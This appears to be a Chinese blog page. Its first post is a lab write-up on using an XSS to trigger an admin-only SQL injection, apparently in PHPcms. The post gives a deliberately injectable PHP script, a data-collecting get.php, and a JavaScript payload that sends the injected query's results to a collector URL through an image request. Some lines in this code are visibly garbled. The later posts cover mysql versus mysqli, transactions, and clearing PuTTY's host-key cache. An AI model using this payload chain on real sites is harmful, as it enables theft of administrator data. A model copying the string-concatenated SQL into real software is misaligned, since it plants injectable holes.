2013年4月25日星期四

PHPcms利用xss 执行sql注入



Date: 2012/8/3  Sort: HTML|CSS|JS|xss|xml824 Views / 3 Comments / 
昨天看见phpcms v9.1.15爆的xss和无权限的sql注入,于是就想测试下利用xss执行sql注入,虽然爆的这个phpcms漏洞还有很多其他的用法!但是,这个注入我没有找到phpcms v9.1.15测试,其他版本都没有测试成功!
于是乎我只有假想下一个极端环境:
1.前台有且只有一个xss漏洞(不能获取管理员cookie)
2.后台有且只有一个sql注入漏洞(注入漏洞文件只有管理员可以访问)
3.注入获得管理员密码可解密
4.除以上无其他任何漏洞(包括后台getwebshell)
其实我就是想说,我们只可以利用这个xss执行注入!

模拟注入漏洞代码
sqli.php
01<?php
02 @error_reporting (E_ALL & ~E_NOTICE & ~E_WARNING);//错误忽略
03 $con = mysql_connect("localhost","root","");
04 if(!$con) {die('Could not connect: ' . mysql_error());}
05 mysql_select_db("test",$con);
06 $id $_GET['xss'];
07 $sql "select id,realname from test where id="."$id";
08 $view = mysql_query($sql);
09 $row = mysql_fetch_array($view);
10 echo $row[id]."<br />";
11 echo $row[realname]."<br />";
12?>

mysql数据库:
1database:test
2table:test、admin
3column:test.id、test.realname
4             admin.id、admin.username、admin.password

get.php(获取的注入后数据截取)
1<?php
2 $file fopen("data.txt","a");
3 fwrite($file,$_GET['get']);
4 fclose($file);
5?>

xsssqli.js(payload)
01function addLoadEvent(func)//窗口打开加载多个函数
02{
03 var oldfunc=window.onload; //页面打开是加载方法
04    if(typeof(window.onload)!="function")
05    {
06     window.onload=func;
07    }
08    else
09    {
10     window.onload=function()
11     {
12      oldfunc();
13      func();
14      }
15     }
16}
17function get_xsssqli()
18{
20 var ajax = null;
21 if(window.XMLHttpRequest)
22 {
23  ajax = new XMLHttpRequest();
24 }
25 else if(window.ActiveXObject)
26 {
27  ajax = new ActiveXObject("Microsoft.XMLHTTP");//ie6和一下老版本
28 }
29 else
30 {
31  return;
32 }
33 ajax.open("GET", url, true);
34 ajax.send(null);
35 ajax.onreadystatechange = function()
36 {
37  if(ajax.readyState == 4 && ajax.status == 200)
38  {
39   var img = document.createElement("img");
40   img.src = "http://127.0.0.1/xss/get.php?get="+ajax.responseText;
41   document.body.appendChild(img);
42  }
43 }
44}
45addLoadEvent(get_xsssqli);

模拟xss漏洞
1<html>
2 <head>
3  <title>use xss to sqli</title>
4 </head>
5 <body>
6 <script src=http://127.0.0.1/xss/get.js ></script>
7 </body>
8</html>

最后成功得到数据:


当然你也可以写个正则截获指定数据!
转载请指明出处:L.N.博客  http://lanu.sinaapp.com/htmlcssjisxml/112.html

mysql与mysqli的区别与用法说明



mysql每次链接都会打开一个连接的进程而mysqli多次运行mysqli将使用同一连接进程,从而减少了服务器的开销

有些朋友在编程的时候,使用new mysqli('localhost', usenamer', 'password', 'databasename');总是报错,Fatal error: Class 'mysqli' not found in d:\...
mysqli类不是php自带的吗?

不是默认开启的,win下要改php.ini,去掉php_mysqli.dll前的;,linux下要把mysqli编译进去

mysql是非持继连接函数而mysqli是永远连接函数,也就是说

mysql每次链接都会打开一个连接的进程而mysqli多次运行mysqli将使用同一连接进程,从而减少了服务器的开销
有些朋友在编程的时候,使用new mysqli('localhost', usenamer', 'password', 'databasename');总是报错,Fatal error: Class 'mysqli' not found in d:\...
mysqli类不是php自带的吗?

不是默认开启的,win下要改php.ini,去掉php_mysqli.dll前的;,linux下要把mysqli编译进去
mysqli的面向过程的使用:
 代码如下:

$conn = mysqli_connect('localhost', 'root', '123', 'db_test') or ('error');
$sql = "select * from db_table";
$query = mysqli_query($conn,$sql);
while($row = mysqli_fetch_array($query)){
echo $row['title'];
}

mysqli的面向对象的使用:
 代码如下:

$conn = mysqli('localhost', 'root', '123', 'db_test');
$sql = "select * from db_table";
$query = $conn->query($sql);
while($row = $query->fetch_array()){
echo $row['title'];
}

mysql_pconnect打开的连接不会关闭(即使调用mysql_close也不会关闭,因为对其无效),
类似于连接缓冲池,如果下次有来自于同一个机器的同一个用户名
对同一个数据库的连接,php会自动使用上次已经建立的连接,而不需要再重新建立一个。
好处:是省去了每次与数据库建立连接的开销,
坏处:是需要浪费一些内存,占用一些连接,
所以如果用户访问量大的时候会出现错误,要把mysql的max_connections参数改大一点, 或者使用mysql_connect()就解决问题。

首先两个函数都是用来处理DB 的。

首先, mysqli 连接是永久连接,而mysql是非永久连接。什么意思呢? mysql连接每当第二次使用的时候,都会重新打开一个新的进程,而mysqli则只使用同一个进程,这样可以很大程度的减轻服务器端压力。
其次,mysqli封装了诸如事务等一些高级操作,同时封装了DB操作过程中的很多可用的方法。具体查看 http://cn.php.net/mysqli

应用比较多的地方是 mysqli的事务。
比如下面的示例:
代码如下:

$mysqli = new mysqli('localhost','root','','DB_Lib2Test');
$mysqli->autocommit(false);//开始事务
$mysqli->query($sql1);
$mysqli->query($sql2);
if(!$mysqli->errno){
$mysqli->commit();
echo 'ok';
}else{
echo 'err';
$mysqli->rollback();
}

php如何使用mysql,mysqli扩展来处理事务实例


首先两个函数都是用来处理DB 的。
首先, mysqli 连接是永久连接,而mysql是非永久连接。什么意思呢? mysql连接每当第二次使用的时候,都会重新打开一个新的进程,而mysqli则只使用同一个进程,这样可以很大程度的减轻服务器端压力。
其次,mysqli封装了诸如事务等一些高级操作,同时封装了DB操作过程中的很多可用的方法。
$sql1 = "update User set ScoreCount = ScoreCount +10 where ID= '123456'";
$sql2 = "update ScoreDetail  set FScore = 300 where ID= '123456'";
$sql3 = "insert into  ScoreDetail ID,Score) values ('123456',60)";

$mysqli = new mysqli('localhost','root','','DB_Lib2Test');
$mysqli->autocommit(false);//开始事物
$mysqli->query($sql1);
$mysqli->query($sql2);
if(!$mysqli->errno){
  $mysqli->commit();
  echo 'ok';
}else{
 echo 'err';
  $mysqli->rollback();
}
在这里,我们再使用 php mysql 系列函数执行事务。
$sql1 = "update User set ScoreCount = ScoreCount +10 where ID= '123456'";
$sql2 = "update ScoreDetail  set FScore = 300 where ID= '123456'";
$sql3 = "insert into  ScoreDetail ID,Score) values ('123456',60)";

$conn = mysql_connect('localhost','root','');
mysql_select_db('DB_Lib2Test');
mysql_query('start transaction');
//mysql_query('SET autocommit=0');

mysql_query($sql1);
mysql_query($sql2);
if(mysql_errno ()){
    mysql_query('rollback');
    echo 'err';
}else{
    mysql_query('commit');
    echo 'ok';
}

// mysql_query('SET autocommit=1');
//  mysql_query($sql3);
在这里要注意,
  1. MyISAM:不支持事务,用于只读程序提高性能
  2. InnoDB:支持ACID事务、行级锁、并发
  3. Berkeley DB:支持事务
还有一点要注意:MySQL默认的行为是在每条SQL语句执行后执行一个COMMIT语句,从而有效的将每条语句独立为一个事务。
但往往,我们需要在使用事务的时候,是需要执行多条sql语句的。这就需要我们手动设置MySQL的autocommit属性为0,默认为1。
同时,使用START TRANSACTION语句显式的打开一个事务 。如上面的示例。
如果不这样做,会有什么结果呢?教学网 eduyo.com
我们将上面第二段代码中 //mysql_query(‘SET autocommit=0′); 和 // mysql_query($sql3); 注释去掉,然后执行。
此时,mysql_query($sql3) 执行就不会insert到数据库中。
如果我们将 // mysql_query(‘SET autocommit=1′); 本句注释去掉,那么mysql_query($sql3); 就会执行成功。
通常COMMIT或ROLLBACK语句执行时才完成一个事务,但是有些DDL语句等会隐式触发COMMIT。
比如下列语句
ALTER FUNCTION
ALTER PROCEDURE
ALTER TABLE
BEGIN
CREATE DATABASE
CREATE FUNCTION
CREATE INDEX
CREATE PROCEDURE
CREATE TABLE
DROP DATABASE
DROP FUNCTION
DROP INDEX
DROP PROCEDURE
DROP TABLE
UNLOCK TABLES
LOAD MASTER DATA
LOCK TABLES
RENAME TABLE
TRUNCATE TABLE
SET AUTOCOMMIT=1
START TRANSACTION

我们再来举个例子看下。
$sql1 = 'create table ScoreDetail_new(id int)';
$sql2 = 'rename table ScoreDetail to ScoreDetail_bak';
$sql3  = 'rename table ScoreDetail_new to ScoreDetail';

$mysqli = new mysqli('localhost','root','','DB_Lib2Test');
$mysqli->autocommit(false);//开始事物
$mysqli->query($sql1);
$mysqli->query($sql2);
$mysqli->query($sql3);
if(!$mysqli->errno){
  $mysqli->commit();
  echo 'ok';
}else{
 echo 'err';
  $mysqli->rollback();
}
在上面的示例中,假如$sql2执行出错了,$sql1照样会执行的。为什么呢?
因为rename在执行的时候,mysql默认会先执行commit,再执行rename。

clean putty 's cache of host finger prints(翻译:清楚putty的指纹缓存)

Problem : When I use PuTTY or plink.exe to connect to a remote host that has the host key changed, then I get the following Error.

WARNING - POTENTIAL SECURITY BREACH!
The server's host key does not match the one PuTTY has
cached in the registry. This means that either the
server administrator has changed the host key, or you
have actually connected to another computer pretending
to be the server.
The new rsa2 key fingerprint is:
ssh-rsa 1024 a1:97:fa:4c:2a:88:93:ab:27:c9:aa:5f:cc:32:2e:08


Solution :

Clear Putty’s cache of host fingerprints (Windows).

1. Open the registry (regedit)
2. Go to HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\SshHostKeys

There you should see Putty’s cache of host keys.
The ‘name’ column tells you which key is for which server.
For example, it will have the format of @: [rsa2@22:YourhostIP]

3. Delete the rows that you need.